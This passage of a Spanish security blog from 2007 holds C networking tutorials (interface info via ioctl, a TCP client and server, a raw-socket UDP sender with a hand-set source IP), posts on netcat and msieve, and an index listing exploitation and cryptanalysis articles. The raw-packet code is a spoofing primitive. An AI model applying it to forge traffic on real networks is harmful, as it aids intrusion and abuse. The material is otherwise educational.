22) = 49
read(3, "", 54) = 54
ntohs(5632) = 22
inet_ntoa(0xfd92550) = "192.168.0.2"
ntohs(8928) = 57378
inet_ntoa(0x214ea8c0) = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54) = 54
ntohs(8928) = 57378
inet_ntoa(0x214ea8c0) = "192.168.0.1"
ntohs(5632) = 22
inet_ntoa(0xfd92550) = "192.168.0.2"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.2", 22, "192.168.0.2",
57378) = 47
read(3, "", 54) = 54
ntohs(5632) = 22
inet_ntoa(0xfd92550) = "192.168.0.2"
ntohs(8928) = 57378
inet_ntoa(0x214ea8c0) = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
22
--- SIGINT (Interrupt) ---
+++ killed by SIGINT +++

Por supuesto también disponemos de la ayuda de programas como gdb, objdump, etc. Todo depende del nivel al que queramos llevar nuestro análisis.

domingo, 6 de mayo de 2007

Interfaz de red en Linux

En el siguiente ejemplo se muestra como acceder a la información de las interfaces de Linux en C:



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/time.h>
#include <malloc.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <netinet/tcp.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define ETH_P_ARP 0x0806

/* Funcion de utiliadad para pasar una ip en formato u_int32_t a un char* */
char *inetaddr ( u_int32_t ip )
{
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}

int main ()
{
struct ifreq if_data;
int sockd;
u_int8_t local_mac[6];
u_int32_t local_ip;
u_int32_t local_netmask;
u_int32_t local_broadcast;
u_int32_t ip;

/* Son necesarios privilegios de root */
if (getuid () != 0)
{
perror ("You must be root. \n");
exit (0);
}

/* Crea el socket */
if ((sockd = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0)
{
perror("socket");
exit (0);
}

/* Interfaz eth0 */
strcpy (if_data.ifr_name, "eth0");

/* Obtiene la MAC address */
if (ioctl (sockd, SIOCGIFHWADDR, &if_data) < 0)
{
perror ("ioctl(): SIOCGIFHWADDR \n");
exit(EXIT_FAILURE);
}
memcpy (local_mac, if_data.ifr_hwaddr.sa_data, 6);
printf ("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
local_mac[0], local_mac[1], local_mac[2],
local_mac[3], local_mac[4], local_mac[5]);

/* Obtiene la IP address */
if (ioctl (sockd, SIOCGIFADDR, &if_data) < 0)
{
perror ("ioctl(); SIOCGIFADDR \n");
exit(EXIT_FAILURE);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4);
local_ip = ntohl (ip);
printf ("IP: %s\n", inetaddr(ip));

/* Obtiene la mascara de red */
if (ioctl (sockd, SIOCGIFNETMASK, &if_data) < 0)
{
perror ("ioctl(): SIOCGIFNETMASK \n");
exit(EXIT_FAILURE);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4);
local_netmask = ntohl (ip);
printf ("NETMASK: %s\n", inetaddr(ip));

/* Obtiene la direccion de broadcast */
if (ioctl (sockd, SIOCGIFBRDADDR, &if_data) < 0)
{
perror ("ioctl(): SIOCGIFBRDADDR \n");
exit(EXIT_FAILURE);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4);
local_broadcast = ntohl (ip);
printf ("BROADCAST: %s\n", inetaddr(ip));

return (0);
}



Sockets TCP y UDP

A continuación pego dos ejemplos de como usar sockets TCP y UDP.


Cliente TCP:



#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>

/*
* Ejemplo de Sockets cliente TCP
*/
int main ()
{

/* Datos de conexion */
char *host = "localhost";
int port = 9999;

/* Cadena a enviar */
char *data = "Cadena de prueba";

/* Obtenemos el host */
struct hostent *host_name;
if ((host_name = gethostbyname(host))==0)
{
perror ("gethostbyname()");
exit (EXIT_FAILURE);
}

/* Configura el socket */
struct sockaddr_in pin;
bzero (&pin, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = htonl(INADDR_ANY);
pin.sin_addr.s_addr = ((struct in_addr *)(host_name->h_addr))->s_addr;
pin.sin_port = htons (port);


/* Crea un socket TCP */
int socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);
if (socket_descriptor == -1)
{
perror ("socket()");
exit (EXIT_FAILURE);
}


/* Conecta con el servidor */
if (connect(socket_descriptor, (void *)&pin, sizeof(pin))==-1)
{
perror ("connect()");
exit (EXIT_FAILURE);
}

/* Envia los datos al servidor */
if (send(socket_descriptor, data, strlen(data), 0) == -1)
{
perror ("send()");
exit (EXIT_FAILURE);
}

/* Lee la respuesta */
static char buffer [2048];
if (recv(socket_descriptor, buffer, sizeof(buffer), 0) == -1) {

perror ("recv()");
exit (EXIT_FAILURE);
}

/* Datos recibidos */
printf ("%s\n", buffer);
}







Servidor TCP:




#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>

#define BUFFER_SIZE 1024

/*
* Ejemplo Socket servidor TCP
*/
int main()
{

/* Descriptor del socket */
int socket_descriptor;

/* Puerto al que escuchara el servidor */
int port = 9999;


/* Configuracion del socket */
struct sockaddr_in sin;

/* Crea un socket TCP */
socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);
if (socket_descriptor == -1)
{
perror("socket()");
exit(EXIT_FAILURE);
}

/* Configura el socket */
bzero (&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons (port);

/* Une el socket al puerto X */
if (bind(socket_descriptor,(struct sockaddr *)&sin,sizeof(sin)) == -1)
{
perror("bind()");
exit(EXIT_FAILURE);
}

/* Configura la cola del socket */
if (listen(socket_descriptor, 20) == -1)
{
perror("listen()");
exit(EXIT_FAILURE);
}


/* Para obtener la configuracion del socket */
struct sockaddr_in pin;
int address_size;

/* Descriptor del socket temporal */
int temp_socket_descriptor;

/* Buffer de recepcion */
char buffer[BUFFER_SIZE];

/* Bucle principal de recepcion y envio de paquetes */
while (1)
{
/* Limpieza del buffer */
memset (buffer, '\0', BUFFER_SIZE);

/* Aceptamos la conexion */
temp_socket_descriptor =
accept(socket_descriptor,(struct sockaddr*)&pin,&address_size);

if (temp_socket_descriptor == -1)
{
perror("accept()");
exit(EXIT_FAILURE);
}

/* Recibimos datos */
if (recv(temp_socket_descriptor,buffer,sizeof(buffer),0)==-1)
{
perror("recv()");
exit(EXIT_FAILURE);
}

printf ("Recibido: %s\n",buffer);

/* Enviamos datos */
if (send(temp_socket_descriptor, "Recibido\n", 9,0) == -1)
{
perror("send()");
exit(EXIT_FAILURE);
}

/* Cierre del descriptor de archivo */
close(temp_socket_descriptor);
}
}




Paquetes UDP:



#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#include <netinet/ip.h>
#include <netinet/udp.h>


int main(void)
{
/* socket */
int sock;

/* Tamaño del paquete UDP */
unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct udphdr);

/* Buffer de tamaño suficiente para un paquete UDP */
unsigned char buffer[buffer_size];
memset (buffer, 0, buffer_size);

/* Cabecera IP */
struct iphdr *ip = (struct iphdr *)buffer;

/* Cabecera UDP */
struct udphdr *udp = (struct udphdr *)(buffer + sizeof(struct iphdr));

/* Crea el socket */
if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP)) == -1)
{
perror("socket()");
exit(EXIT_FAILURE);
}

/* Establece las opciones del socket */
int o = 1;
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1)
{
perror("setsockopt()");
exit(EXIT_FAILURE);
}

/* Rellena la cabecera IP */
ip->version = 4;
ip->ihl = 5;
ip->id = htonl(random());
ip->saddr = inet_addr("1.2.3.4");
ip->daddr = inet_addr("1.2.3.4");
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = buffer_size;
ip->check = 0;

/* Rellena la cabecera UDP */
udp->source = htons(1234);
udp->dest = htons(1234);
udp->len = buffer_size;
udp->check = 0; /* falta calcular checksum */


struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = udp->source;
addr.sin_addr.s_addr = ip->saddr;

/* Envio del paquete */
if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
sizeof(struct sockaddr_in))) == -1)
{
perror("send()");
exit(1);
}

return 0;
}


Raw Sockets

Nueva dirección: http://dlerch.blogspot.com/2007/05/raw-sockets.html

GNU Netcat

Nueva dirección: http://dlerch.blogspot.com/2007/05/gnu-netcat.html

msieve 1.21

Aprovecho mi primer post para comentar la publicación por Jason Papadopoulos de una nueva versión de msieve. Podéis acceder a ella desde http://www.boo.net/~jasonp/qs.html.

msieve es una librería de código abierto de factorización de números grandes. Destaca por ser la implementación más rápida del algoritmo de factorización QS. Actualmente también incluye una implementación del algoritmo de factorización NFS.

El problema de factorización de números grandes es muy importante en criptografía por su utilización en ciertos algoritmos de clave pública como RSA. Su resolución dejaría fuera de combate estos algoritmos, por lo que existe gran cantidad de investigación al respecto.

A continuación dejo algunos enlaces que pueden resultar de interés a los aficionados a la factorización:
- NFSNET: Large-scale distributed factoring.
- DFACT: Distributed Factorization Poject.
- Recuperación de clave después de la factorización.

martes, 1 de mayo de 2007

Índice por temas



BLOQUE I: Seguridad en el Software


Programación segura:

  1. Sobre str*cpy() y str*cat().
  2. Cómo hacer login en UNIX con C.
  3. ¿Qué pasa con atoll?

Explotando vulnerabilidades.
  1. Buffer Overflow.
  2. Heap Overflow.
  3. Static Data Overflow.
  4. Integer Overflow.
  5. Integer Overflow en Java.
  6. Cómo funciona el exploit vmsplice

Varios

  1. Publicidad web: automatizando clics



BLOQUE II: Seguridad en la red

Programación de red:
  1. Sockets TCP y UDP.
  2. Enrutamiento básico en Linux.
  3. Raw Sockets.
  4. Interfaz de red en Linux.
  5. Sockets en shellscript con xinetd.
  6. Multicast Sender/Listener.


Herramientas de red:
  1. GNU/Netcat.
  2. Introducción a las redes Tor.

BLOQUE III: Análisis Forense


Análisis de binarios:
  1. Introducción al análisis de binarios.

BLOQUE VI: Criptografía y Criptoanálisis

Criptografía:
  1. Modos de cifrado: ECB, CBC, CTR, OFB y CFB.
  2. Codificación Base 64.
  3. Hash mediante C y OpenSSL.
  4. DES y Triple-DES.
  5. Criptografía con GPG y GPGME I.
  6. Criptografía con GPG y GPGME II.
  7. Criptografía de Curva Elíptica.
  8. Esteganografía: El canal Alpha.
  9. Cifrados de sustitución homofónica.
  10. Volúmenes cifrados con OpenSSL.

Criptoanálisis:
  1. Análisis de frecuencias.
  2. Buscando colisiones en SHA-1.
  3. Factorización I: Introducción.
  4. Factorización II: Rho de Pollard.
  5. Factorización III: P-1 de Pollard.
  6. Factorización IV: El método de Curva Elíptica.
  7. Rompiendo claves RSA.

Enigmas:
  1. El cifrado Dorabella.
  2. El manuscrito Voynich.
  3. Los cifrados Zodiac.
  4. La escultura Kryptos.
  5. Los Cifrados de Feynman.

BLOQUE VII: Seguridad Física

Instalaciones:

  1. Power Over Ethernet Casero